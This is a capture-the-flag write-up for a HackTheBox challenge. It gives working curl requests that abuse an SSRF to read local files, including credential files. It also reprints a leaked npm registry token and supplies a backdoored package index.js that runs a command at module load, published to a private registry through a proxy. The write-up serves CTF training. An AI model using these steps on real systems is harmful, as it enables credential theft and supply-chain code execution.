$ cat writeup.md…
$ cat writeup.md…
hackthebox_business_ctf_2024
Task: abuse an SSRF in node-libcurl-backed prisoner import to read local files and steal the private Verdaccio token. Solution: publish a compatible malicious prisoner-db update through a local Host-header proxy, let cron install it, then read the written flag back through file:// SSRF.
One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disable the defenses for the rescuers.
Although the original challenge was placed under misc, the reliable solve path is best understood as a web + supply-chain challenge: a web SSRF leaks registry credentials, then a private npm package update yields code execution.
The accurate exploitation chain is:
POST /api/prisoners/import is SSRF via node-libcurl.file:// works, so local files are readable.file:///home/node/.npmrc leaks the Verdaccio auth token.prisoner-db package version to the private registry.npm outdated/update prisoner-db against localhost:4873 and restarts the app./readflag, and writes the result to /app/prisoner-repository/FLAG.txt.file:///app/prisoner-repository/FLAG.txt./api/prisoners/importThe application imports prisoner data from a user-supplied URL. The underlying package uses node-libcurl, so this is not just HTTP SSRF: file:// also works.
That makes local file reads trivial:
curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///etc/passwd"}'
The endpoint returns a prisoner id. Fetching that record shows the raw imported content.
The useful target is /home/node/.npmrc:
curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///home/node/.npmrc"}'
The leaked token was:
//localhost:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjViYzEwM2RlOTQzYzg3OWZiN2YwY2EyZGI5ZmMwMGI4ZWViZWVhZmUzZjc0Y2I2MWFiOTZmNWI1OWVhNTg0N2IwZmIwZQ=="
This is enough to authenticate to Verdaccio.
The registry is exposed through nginx virtual-host routing, but the cron job itself talks to http://localhost:4873. The operationally clean solution is to run the provided local proxy:
/Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/hackthebox/prison_pipeline/proxy.py
It listens on 127.0.0.1:4873 and forwards requests to the remote instance while forcing:
Host: registry.prison-pipeline.htb
This is better than editing /etc/hosts because it:
sudonpm publish --registry http://127.0.0.1:4873So /etc/hosts changes are optional, not required.
The challenge cron job periodically checks whether prisoner-db is outdated, updates it from localhost:4873, then restarts the app. If we can publish [email protected], our code will be installed automatically.
The important detail is compatibility. A minimal fake package is not enough. The application expects the original module shape and dependencies, including:
curl.jsnode-libcurljs-yamlDatabase exportIf those are removed or stubbed too aggressively, the app can fail on restart and the exploit path becomes unreliable.
python3 /Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/hackthebox/prison_pipeline/proxy.py
Prepare a local .npmrc for publishing through the proxy:
//127.0.0.1:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjViYzEwM2RlOTQzYzg3OWZiN2YwY2EyZGI5ZmMwMGI4ZWViZWVhZmUzZjc0Y2I2MWFiOTZmNWI1OWVhNTg0N2IwZmIwZQ=="
Optional verification:
npm --registry http://127.0.0.1:4873 whoami --userconfig .npmrc
[email protected]Do not replace the package with a tiny stub. Keep the original structure and only add module-load code.
Minimal working idea for index.js:
const fs = require('fs'); const yaml = require('js-yaml'); const CurlWrapper = require('./curl'); const { execSync } = require('child_process'); try { fs.writeFileSync('/app/prisoner-repository/FLAG.txt', execSync('/readflag').toString()); } catch (e) {} const curl = new CurlWrapper(); class Database { constructor(repository) { this.repository = repository; this.metadata = this.readJSON(repository + '/index.json'); } async importPrisoner(url) { try { const getResponse = await curl.get(url); const xmlData = getResponse.body; const id = `PIP-${Math.floor(100000 + Math.random() * 900000)}`; this.addPrisoner({ id, data: xmlData }); return id; } catch (error) { return false; } } // keep the rest of the original Database methods intact } module.exports = Database;
And package.json must remain compatible while bumping the version:
{ "name": "prisoner-db", "version": "1.0.1", "main": "index.js", "dependencies": { "js-yaml": "^4.1.0", "node-libcurl": "4.0.0" } }
npm publish --registry http://127.0.0.1:4873 --userconfig .npmrc
This is the practical, repeatable path. The older custom PWN: backdoor flow is not needed as the main method.
After the new package is available, the challenge cron job detects 1.0.1, runs the update, and restarts the pm2-managed app. Once the app starts and imports the package, the top-level code executes and writes:
/app/prisoner-repository/FLAG.txt
Keep requesting:
curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///app/prisoner-repository/FLAG.txt"}'
The response gives a prisoner id such as PIP-123456. Then retrieve it:
curl -s 'http://TARGET:1337/api/prisoners/PIP-123456'
Read the raw field. That contains the flag.
On a fresh successful instance, one captured flag was:
HTB{REDACTED}
Only the theme/prefix is stable. The trailing value is per instance, so do not treat the suffix as constant.
/etc/hosts edits the primary solution; the provided proxy removes that need.PWN: command-execution backdoor as the main exploit path; publishing module-load code is simpler and more reliable.prisoner-db with an incompatible stub; preserve curl.js, dependencies, and Database behavior so the app still boots.gopher:// here. It is unstable and unnecessary for the clean solve path.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar